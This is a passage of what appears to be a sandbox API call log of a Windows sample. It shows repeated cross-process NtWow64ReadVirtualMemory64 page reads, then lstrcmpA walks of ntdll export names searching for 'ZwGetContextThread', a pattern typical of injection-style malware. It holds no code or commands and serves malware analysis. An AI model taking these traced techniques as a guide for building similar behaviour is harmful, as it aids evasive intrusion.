NumberOfBytesRead=0x1000) returned 0x0 [0135.709] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0818000, Buffer=0x7fff, BufferSize=0x2568000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0135.709] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0819000, Buffer=0x7fff, BufferSize=0x2569000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0135.710] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf081a000, Buffer=0x7fff, BufferSize=0x256a000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0135.710] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf081b000, Buffer=0x7fff, BufferSize=0x256b000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0135.745] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf081c000, Buffer=0x7fff, BufferSize=0x256c000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0135.745] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf081d000, Buffer=0x7fff, BufferSize=0x256d000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0135.745] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf081e000, Buffer=0x7fff, BufferSize=0x256e000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0135.745] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf081f000, Buffer=0x7fff, BufferSize=0x256f000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0135.745] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0820000, Buffer=0x7fff, BufferSize=0x2570000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0135.746] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0821000, Buffer=0x7fff, BufferSize=0x2571000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0135.746] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0822000, Buffer=0x7fff, BufferSize=0x2572000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0135.746] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0823000, Buffer=0x7fff, BufferSize=0x2573000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0135.746] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0824000, Buffer=0x7fff, BufferSize=0x2574000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0135.747] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0825000, Buffer=0x7fff, BufferSize=0x2575000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0135.747] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0826000, Buffer=0x7fff, BufferSize=0x2576000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0135.747] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0827000, Buffer=0x7fff, BufferSize=0x2577000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0135.747] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0828000, Buffer=0x7fff, BufferSize=0x2578000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0135.747] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0829000, Buffer=0x7fff, BufferSize=0x2579000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0135.748] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf082a000, Buffer=0x7fff, BufferSize=0x257a000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0135.748] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf082b000, Buffer=0x7fff, BufferSize=0x257b000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0135.748] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf082c000, Buffer=0x7fff, BufferSize=0x257c000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0135.748] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf082d000, Buffer=0x7fff, BufferSize=0x257d000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0135.749] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf082e000, Buffer=0x7fff, BufferSize=0x257e000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0135.749] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf082f000, Buffer=0x7fff, BufferSize=0x257f000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0135.749] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0830000, Buffer=0x7fff, BufferSize=0x2580000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0135.749] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0831000, Buffer=0x7fff, BufferSize=0x2581000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0135.750] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0832000, Buffer=0x7fff, BufferSize=0x2582000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0135.750] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0833000, Buffer=0x7fff, BufferSize=0x2583000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0135.750] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0834000, Buffer=0x7fff, BufferSize=0x2584000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0135.750] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0835000, Buffer=0x7fff, BufferSize=0x2585000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0135.750] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0836000, Buffer=0x7fff, BufferSize=0x2586000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0135.751] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0837000, Buffer=0x7fff, BufferSize=0x2587000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0135.751] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0838000, Buffer=0x7fff, BufferSize=0x2588000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0135.751] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0839000, Buffer=0x7fff, BufferSize=0x2589000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0135.751] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf083a000, Buffer=0x7fff, BufferSize=0x258a000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0135.751] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf083b000, Buffer=0x7fff, BufferSize=0x258b000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0135.752] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf083c000, Buffer=0x7fff, BufferSize=0x258c000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0135.752] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf083d000, Buffer=0x7fff, BufferSize=0x258d000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0135.752] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf083e000, Buffer=0x7fff, BufferSize=0x258e000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0135.752] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf083f000, Buffer=0x7fff, BufferSize=0x258f000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0135.753] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0840000, Buffer=0x7fff, BufferSize=0x2590000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0135.753] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0841000, Buffer=0x7fff, BufferSize=0x2591000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0135.753] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0842000, Buffer=0x7fff, BufferSize=0x2592000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0135.753] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0843000, Buffer=0x7fff, BufferSize=0x2593000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0135.754] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0844000, Buffer=0x7fff, BufferSize=0x2594000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0135.754] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0845000, Buffer=0x7fff, BufferSize=0x2595000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0135.754] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0846000, Buffer=0x7fff, BufferSize=0x2596000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0135.754] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0847000, Buffer=0x7fff, BufferSize=0x2597000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0135.754] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0848000, Buffer=0x7fff, BufferSize=0x2598000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0135.755] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0849000, Buffer=0x7fff, BufferSize=0x2599000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0135.755] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf084a000, Buffer=0x7fff, BufferSize=0x259a000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0135.755] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf084b000, Buffer=0x7fff, BufferSize=0x259b000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0135.755] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf084c000, Buffer=0x7fff, BufferSize=0x259c000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0135.756] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf084d000, Buffer=0x7fff, BufferSize=0x259d000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0135.756] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf084e000, Buffer=0x7fff, BufferSize=0x259e000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0135.756] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf084f000, Buffer=0x7fff, BufferSize=0x259f000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0135.756] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0850000, Buffer=0x7fff, BufferSize=0x25a0000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0135.757] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0851000, Buffer=0x7fff, BufferSize=0x25a1000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0135.757] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0852000, Buffer=0x7fff, BufferSize=0x25a2000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0135.757] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0853000, Buffer=0x7fff, BufferSize=0x25a3000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0135.758] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0854000, Buffer=0x7fff, BufferSize=0x25a4000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0135.758] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0855000, Buffer=0x7fff, BufferSize=0x25a5000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0135.758] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0856000, Buffer=0x7fff, BufferSize=0x25a6000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0135.758] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0857000, Buffer=0x7fff, BufferSize=0x25a7000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0135.759] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0858000, Buffer=0x7fff, BufferSize=0x25a8000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0135.759] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0859000, Buffer=0x7fff, BufferSize=0x25a9000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0135.759] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf085a000, Buffer=0x7fff, BufferSize=0x25aa000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0135.759] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf085b000, Buffer=0x7fff, BufferSize=0x25ab000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0135.760] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf085c000, Buffer=0x7fff, BufferSize=0x25ac000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0135.760] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf085d000, Buffer=0x7fff, BufferSize=0x25ad000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0135.760] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf085e000, Buffer=0x7fff, BufferSize=0x25ae000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0135.761] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf085f000, Buffer=0x7fff, BufferSize=0x25af000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0135.761] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0860000, Buffer=0x7fff, BufferSize=0x25b0000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0135.761] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0861000, Buffer=0x7fff, BufferSize=0x25b1000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0135.761] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0862000, Buffer=0x7fff, BufferSize=0x25b2000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0135.762] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0863000, Buffer=0x7fff, BufferSize=0x25b3000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0135.762] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0864000, Buffer=0x7fff, BufferSize=0x25b4000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0135.762] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0865000, Buffer=0x7fff, BufferSize=0x25b5000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0135.762] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0866000, Buffer=0x7fff, BufferSize=0x25b6000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0135.763] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0867000, Buffer=0x7fff, BufferSize=0x25b7000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0135.763] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0868000, Buffer=0x7fff, BufferSize=0x25b8000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0135.763] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0869000, Buffer=0x7fff, BufferSize=0x25b9000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0135.763] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf086a000, Buffer=0x7fff, BufferSize=0x25ba000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0135.764] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf086b000, Buffer=0x7fff, BufferSize=0x25bb000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0135.764] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf086c000, Buffer=0x7fff, BufferSize=0x25bc000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0135.764] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf086d000, Buffer=0x7fff, BufferSize=0x25bd000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0135.765] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf086e000, Buffer=0x7fff, BufferSize=0x25be000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0135.765] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf086f000, Buffer=0x7fff, BufferSize=0x25bf000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0135.765] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0870000, Buffer=0x7fff, BufferSize=0x25c0000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0135.765] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0871000, Buffer=0x7fff, BufferSize=0x25c1000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0135.766] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0872000, Buffer=0x7fff, BufferSize=0x25c2000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0135.766] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0873000, Buffer=0x7fff, BufferSize=0x25c3000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0135.766] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0874000, Buffer=0x7fff, BufferSize=0x25c4000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0135.766] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0875000, Buffer=0x7fff, BufferSize=0x25c5000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0135.767] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0876000, Buffer=0x7fff, BufferSize=0x25c6000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0135.767] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0877000, Buffer=0x7fff, BufferSize=0x25c7000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0135.767] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0878000, Buffer=0x7fff, BufferSize=0x25c8000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0135.767] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0879000, Buffer=0x7fff, BufferSize=0x25c9000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0135.768] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf087a000, Buffer=0x7fff, BufferSize=0x25ca000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0135.768] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf087b000, Buffer=0x7fff, BufferSize=0x25cb000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0135.768] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf087c000, Buffer=0x7fff, BufferSize=0x25cc000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0135.768] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf087d000, Buffer=0x7fff, BufferSize=0x25cd000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0135.769] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf087e000, Buffer=0x7fff, BufferSize=0x25ce000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0135.769] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf087f000, Buffer=0x7fff, BufferSize=0x25cf000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0135.769] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0880000, Buffer=0x7fff, BufferSize=0x25d0000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0135.769] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0881000, Buffer=0x7fff, BufferSize=0x25d1000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0135.770] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0882000, Buffer=0x7fff, BufferSize=0x25d2000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0135.770] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0883000, Buffer=0x7fff, BufferSize=0x25d3000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0135.770] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0884000, Buffer=0x7fff, BufferSize=0x25d4000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0135.771] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0885000, Buffer=0x7fff, BufferSize=0x25d5000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0136.114] lstrcmpA (lpString1="A_SHAInit", lpString2="ZwGetContextThread") returned -1 [0136.114] lstrcmpA (lpString1="A_SHAUpdate", lpString2="ZwGetContextThread") returned -1 [0136.114] lstrcmpA (lpString1="AlpcAdjustCompletionListConcurrencyCount", lpString2="ZwGetContextThread") returned -1 [0136.114] lstrcmpA (lpString1="AlpcFreeCompletionListMessage", lpString2="ZwGetContextThread") returned -1 [0136.114] lstrcmpA (lpString1="AlpcGetCompletionListLastMessageInformation", lpString2="ZwGetContextThread") returned -1 [0136.114] lstrcmpA (lpString1="AlpcGetCompletionListMessageAttributes", lpString2="ZwGetContextThread") returned -1 [0136.114] lstrcmpA (lpString1="AlpcGetHeaderSize", lpString2="ZwGetContextThread") returned -1 [0136.114] lstrcmpA (lpString1="AlpcGetMessageAttribute", lpString2="ZwGetContextThread") returned -1 [0136.114] lstrcmpA (lpString1="AlpcGetMessageFromCompletionList", lpString2="ZwGetContextThread") returned -1 [0136.114] lstrcmpA (lpString1="AlpcGetOutstandingCompletionListMessageCount", lpString2="ZwGetContextThread") returned -1 [0136.114] lstrcmpA (lpString1="AlpcInitializeMessageAttribute", lpString2="ZwGetContextThread") returned -1 [0136.114] lstrcmpA (lpString1="AlpcMaxAllowedMessageLength", lpString2="ZwGetContextThread") returned -1 [0136.114] lstrcmpA (lpString1="AlpcRegisterCompletionList", lpString2="ZwGetContextThread") returned -1 [0136.114] lstrcmpA 